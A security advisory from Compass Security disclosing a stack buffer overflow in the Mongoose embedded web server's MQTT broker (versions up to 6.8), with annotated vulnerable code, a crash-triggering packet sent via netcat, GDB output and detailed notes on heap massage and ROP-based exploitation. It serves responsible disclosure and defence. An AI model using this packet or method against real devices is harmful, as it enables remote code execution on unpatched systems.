Mongoose Embedded Web Server Library 6.8 Buffer Overflow
Posted on 23 September 2017
############################################################################# # # COMPASS SECURITY ADVISORY # https://www.compass-security.com/en/research/advisories/ # ############################################################################# # # Product: Mongoose Embedded Web Server Library # Vendor: Cesanta # CVE ID: Not yet assigned. # CSNC ID: CSNC-2017-023 # Subject: Stack based buffer overflow # Risk: High # Effect: Remotely exploitable # Author: Dobin Rutishauser <dobin.rutishauser@compass-security.com> # Date: 2017-09-20 # ############################################################################# Introduction: ------------- It is possible to perform remote unauthenticated remote code execution in Cesanta's Mongoose MQTT Brokers. The length of MQTT packets is incorrectly calculated when sending a small size in the MQTT Control Packet length field, which leads to a integer underflow, and then to a stack based buffer overflow. A working proof-of-concept exploit has been created to exploit this vulnerability. The exploit is unaffected by DEP. ASLR and/or stack canaries will make it impossible to exploit this vulnerability. https://github.com/cesanta/mongoose "Mongoose is ideal for embedded environments. It has been designed for connecting devices and bringing them online. On the market since 2004, used by vast number of open source and commercial products - it even runs on the International Space station! Mongoose makes embedded network programming fast, robust, and easy." Affected: --------- Mongoose Embedded Web Server Library. Vulnerable: * <= 6.8 Not vulnerable: * >=6.9 Technical Description --------------------- The parse_mqtt() function is responsible for parsing incoming MQTT packets if Mongoose is running as MQTT Broker. These packets consist of at least one MQTT Control Packet (MCP). An MCP consists of a fixed header (MQTT type, and the remaining length), a variable header (packet identifier), and a payload (data based on the type, e.g. the subscribe topic like "/temperature"). The function "parse_mqtt()" is responsible for the parsing of the MCP fixed- and variable header (but not the payload). In this function, there is a pointer "p" which points to the beginning of the incoming MQTT packet buffer. The "end" pointer is calculated by adding the "len" to the "p" pointer. "len" is based on the "remaining length" field of the MCP fixed header (a variable-length length field), which is controlled by the attacker. "len" is checked if it is bigger than the received packet size, so it is not possible to store an an arbitrary large value, and thus creating an overflow of any kind. Nevertheless, after parsing the MCP fixed header (basically only the "len"), the MCP variable header will be parsed (based on the MCP type, e.g. CONNECT, PUBLISH, SUBSCRIBE, etc.). The MCP variable header is just a two byte identifier. It will be read and the "p" pointer will be increased by two bytes. This is the source of the bug. Because after parsing the variable header, a data structure "mm" is prepared with the MCP payload data, which will be later parsed by the function "mg_mqtt_broker_handle_subscribe()". For an MCP SUBSCRIBE payload type, the final length of the payload is stored in mm->payload.len. The problem is that the payload length is calculated by calculating "end - p", but p is greater than end because of incrementing it in the MCP variable header parsing, for a "length=0". Or in other words, "end = p + len", but "p+=2", and "len=0". Therefore for "len=0": "mm->payload.len" = end - (p+2) = p + len - p - 2 = len - 2 = -2. If the attacker gives a value of smaller than 2 as the payload length, the final length will underflow. For example the length will be 2^64-2 if the length specified in the fixed header is 0. The subscribe packets will be parsed by mg_mqtt_broker_handle_subscribe(). It iterates through all Topic Filters in the MCP SUBSCRIBE payload, and stores the QOS value of each of them in an statically sized array. It uses the length stored in mm->payload.len as an abort condition. As this condition cannot be met, the statically allocated array can be overflowed, leading to a stack based buffer overflow. The vulnerability was tested and reproduced by using the MQTT Broker provided in the examples/mqtt_broker directory on Ubuntu 16.04 64 bit. It was found by using AFL (American Fuzzy Lop) fuzzer. Affected code: [2] Vulnerability notes indicated by using "//". MG_INTERNAL int parse_mqtt(struct mbuf *io, struct mg_mqtt_message *mm) { uint8_t header; size_t len = 0; int cmd; const char *p = &io->buf[1], *end; if (io->len < 2) return -1; header = io->buf[0]; cmd = header >> 4; /* decode mqtt variable length */ // In Fixed header do { len += (*p & 127) << 7 * (p - &io->buf[1]); } while ((*p++ & 128) != 0 && ((size_t)(p - io->buf) <= io->len)); // end = p for (attacker controlled) len = 0 end = p + len; if (end > io->buf + io->len + 1) { return -1; } [...] case MG_MQTT_CMD_SUBSCRIBE: mm->message_id = getu16(p); // Variable header p += 2; // p > end for len = 0 /* * topic expressions are left in the payload and can be parsed with * `mg_mqtt_next_subscribe_topic` */ mm->payload.p = p; mm->payload.len = end - p; // mm->payload.len < 0 for len = 0 printf("MQTT Subscribe 1: p: %p len: %lx ", mm->payload.p, mm->payload.len); break; [...] } static void mg_mqtt_broker_handle_subscribe(struct mg_connection *nc, struct mg_mqtt_message *msg) { struct mg_mqtt_session *ss = (struct mg_mqtt_session *) nc->user_data; uint8_t qoss[512]; // static size, will be overflowed size_t qoss_len = 0; struct mg_str topic; uint8_t qos; int pos; struct mg_mqtt_topic_expression *te; // This loop never stops, as the abort condition in the called function // can never be met. It will overflow qoss[512] until overwriting // important stack data. for (pos = 0; (pos=mg_mqtt_next_subscribe_topic(msg, &topic, &qos, pos)) != -1;) { qoss[qoss_len++] = qos; // Stack based buffer overflow here } [...] } Example packet: $ hexdump -C id:000001* 000000 80 00 00 06 4d 51 49 73 64 70 03 00 00 3c 00 05 |....MQIsdp...<..| 000010 64 75 6d 6d 79 |dummy| 000015 Send it to the server: $ cat id:000001* | nc localhost 1883 GDB output: MQTT Subscribe 1: p: 0x618794 len: fffffffffffffffe [...] Program received signal SIGSEGV, Segmentation fault. [-------------------------------registers-----------------------------------] RAX: 0x5552 ('RU') RBX: 0x0 RCX: 0x7fffffe0 RDX: 0x0 RSI: 0x0 RDI: 0x7fffffffcdf0 --> 0x7ffff751e340 (<__funlockfile>: mov rdx,QWORD PTR [rdi+0x88]) RBP: 0x7fffffffd350 --> 0x7fffffffd5b0 --> 0x0 RSP: 0x7fffffffd320 --> 0x55520000001f RIP: 0x40ef13 (<mg_mqtt_next_subscribe_topic+235>: movzx eax,BYTE PTR [rax]) R8 : 0x0 R9 : 0x20 (' ') R10: 0x0 R11: 0x246 R12: 0x402130 (<_start>: xor ebp,ebp) R13: 0x7fffffffdbd0 --> 0x1 R14: 0x0 R15: 0x0 EFLAGS: 0x10206 (carry PARITY adjust zero sign INTERRUPT direction overflow) [-------------------------------------code----------------------------------] 0x40ef05 <mg_mqtt_next_subscribe_topic+221>: mov eax,0x0 0x40ef0a <mg_mqtt_next_subscribe_topic+226>: call 0x401b90 <printf@plt> 0x40ef0f <mg_mqtt_next_subscribe_topic+231>: mov rax,QWORD PTR [rbp-0x10] => 0x40ef13 <mg_mqtt_next_subscribe_topic+235>: movzx eax,BYTE PTR [rax] 0x40ef16 <mg_mqtt_next_subscribe_topic+238>: movzx eax,al 0x40ef19 <mg_mqtt_next_subscribe_topic+241>: shl eax,0x8 0x40ef1c <mg_mqtt_next_subscribe_topic+244>: mov edx,eax 0x40ef1e <mg_mqtt_next_subscribe_topic+246>: mov rax,QWORD PTR [rbp-0x10] [------------------------------------stack----------------------------------] 0000| 0x7fffffffd320 --> 0x55520000001f 0008| 0x7fffffffd328 --> 0x7fffffffd373 --> 0x2ab0000555200 0016| 0x7fffffffd330 --> 0x7fffffffd390 --> 0x615551 --> 0x0 0024| 0x7fffffffd338 --> 0x7fffffffd630 --> 0x0 0032| 0x7fffffffd340 --> 0x5552 ('RU') 0040| 0x7fffffffd348 --> 0x4143ca1de0d5c300 0048| 0x7fffffffd350 --> 0x7fffffffd5b0 --> 0x0 0056| 0x7fffffffd358 --> 0x40f74f (<mg_mqtt_broker_handle_subscribe+224>: ) [---------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x000000000040ef13 in mg_mqtt_next_subscribe_topic (msg=0x7fffffffd630, topic=0x7fffffffd390, qos=0x7fffffffd373 "", pos=0x5552) at ../../mongoose.c:9933 9933 topic->len = buf[0] << 8 | buf[1]; gdb-peda$ disas 0x000000000040ef0f <+231>: mov rax,QWORD PTR [rbp-0x10] => 0x000000000040ef13 <+235>: movzx eax,BYTE PTR [rax] gdb-peda$ x/1x $rbp-0x10 0x7fffffffd340: 0x0000000000005552 gdb-peda$ i r rax rax 0x5552 0x5552 Visual representation of MCP CONNECT and SUBSCRIBE Packets: +->Connect | +->Len | | ++---------------+-------+----+----+----+ |0x01|0x00|0x00|0x04| M | Q | T | T | +------------------------+----+----+----+ +-----------------------+ +-------------+ fixed header variable header +->Subscribe QOS:0x01f QOS:0x2f | +->Length ^ ^ | | | | ++----+-------------++--------------+----++--------------+----+ |0x82|0x00|0x2c|0x2c||0x00|0x01| A |0x1f||0x00|0x01| B |0x2f| +-------------------++--------------+----++-------------------+ +-------------------++-------------------+ Topic Filter for A Topic Filter for B Exploiting Notes: ----------------- SUBSCRIBE MCPs consist of one or several topic filter (TF) as payload. Each TF contains a string of the topic the clients wants to subscribe to, e.g. "/temperature". A TF has the minimum size of 3 bytes: 2 bytes length, 1 byte QOS (with empty data, len=0). Also Mongoose receives (read()'s) TCP data in chunks of 1024 bytes size. Only the QOS byte is written on the stack (into the qoss[512] array), as part of the overflow. Therefore it is only possible to write 1024 / 3 ~ 340 attacker-controlled bytes of data on the stack. The "copy-QOS-from-heap-to-stack" loop does not stop, and instead continues to copy arbitrary bytes from the heap to the stack, until the mm->payload.p pointer is overwritten and the program crashes. It is therefore initially not possible to: 1) Stop the copy process 2) overwrite the saved instruction pointer with attacker controlled data 3) or perform a return() on the affected function so our overwritten return address is called The solution is to allocate a second (and third) heap-chunk after the first one with additional TF data. This allows to control the data which is copied to the stack even after the 512 bytes qoss array, which immediately fixes problem 2. Ideally the copy process should continue to copy attacker specified QOS bytes onto the stack, overwriting it until it reaches mm->payload.len, which should be set to zero. This stops the copy process, and forces it to return(), which fixes problem 1 and 3. To achieve this, a heap massage has to be performed. This can be achieved by opening 3 connections in parallel, where each connection allocates a 1024 byte heap chunk. The content of the first chunk can be ignored. The second and third chunk consists of valid MCP subscribe TFs, with the data we want to write on the stack stored in the QOS byte. The length of each TF will be 4 bytes (1 byte data) for alignment purposes. The last TF of the second chunk (and also of the first chunk later) has to be specially constructed. It needs a certain length larger than the actual data in the TF, so the "data" of this TF consists of the heap chunk header, which allows a seamless transition of parsing the MCP subscribe TFs of the next chunk. Then the three connections will be closed, and the actual exploit can be performed with a fourth connection. That fourth connection uses the fixed header size of zero, which initiated endloss copying (2^64 bytes). The mg_mqtt_broker_handle_subscribe() function will parse each of the TF, jumping over the heap chunk headers, and write the QOS bytes of each TF into the stack. After overwriting the saved return address with ROP gadgets, it will trash the stack until it arrives at overwriting mm->payload.p, where we have to write the original mm->payload.p pointer again. Immediately afterwards in memory, mm->payload.len is stored on the stack, and will be overwritten with zeros by the exploit. After this the function automatically returns, and the ROPchain will be executed. Therefore we are lucky that the received data is stored on the heap which we can define at will, and all important metadata is stored on the stack, where we can overwrite it. This exploit will not work with ASLR enabled, as no informatin disclosure vulnerability could be identified. A stack canary also prohibits exploitation. Heap: Stack: Chunk: 1024 bytes +----------------------+ +----------------+ | | |QOSS[512] | |Len: 1 | +--------> | |Data: "A" | | | | |QOS: 0x00 | | | | +----------------------+ | | | | | | | | |... | | +----------------+ | | | |... | | | | +----------------+ +----------------------+ | +----->Saved RIP | | | | | +----------------+ +---+Len: 16 | | | |... | | |Data: "A" | | | | | | |QOS: 0x41 +--+ | | | | +----------------------+ | | | | | +----------------+ | Chunk: 1024 bytes | +-->payload.p | +-> +----------------------+ | | +----------------+ | | | +-->payload.len | |Len: 1 | | | | | |Data: "A" | | | +-+--------------+ |QOS: 0x41 +-----+ | | +----------------------+ | v | | | higher addresses |... | | | | | | | | +----------------------+ | | | | +---+Len: 16 | | | |Data: " " | | | |QOS: 0x00 | | | +----------------------+ | | | | Chunk: 1024 bytes | +-> +----------------------+ | | | | |Len: 1 | | |Data: "A" | | |QOS: 0x41 +--------+ +----------------------+ | | |... | | | | | +----------------------+ | | |Len: 1 | |Data: "A" | |QOS: 0x00 | +---+------------------+ | v higher addresses Workaround / Fix: ----------------- Update to Mongoose 6.9. [6] Timeline: --------- 2017-09-20: OK for publishing advisory. 2017-09-13: New version released (Mongoose 6.9) 2017-09-01: Issue has been fixed, vendor notified. 2017-08-30: Vendor released patched version, asks if issue has been fixed. 2017-08-29: Vendor acknowledges receipt of the information 2017-08-28: Send detailed vulnerability information to vendor 2017-08-28: Initial vendor response 2017-08-28: Initial vendor notification References: ----------- [1] https://github.com/cesanta/mongoose [2] https://github.com/cesanta/mongoose/blob/ 7c0493071f182b890f4e01ece84ab2523858cc76/mongoose.c#L9679 [3] http://docs.oasis-open.org/mqtt/mqtt/v3.1.1/os/mqtt-v3.1.1-os.html [4] http://docs.oasis-open.org/mqtt/mqtt/v3.1.1/os/ mqtt-v3.1.1-os.html#_Toc398718063 [5] https://mongoose-os.com/ [6] https://github.com/cesanta/mongoose/releases/tag/6.9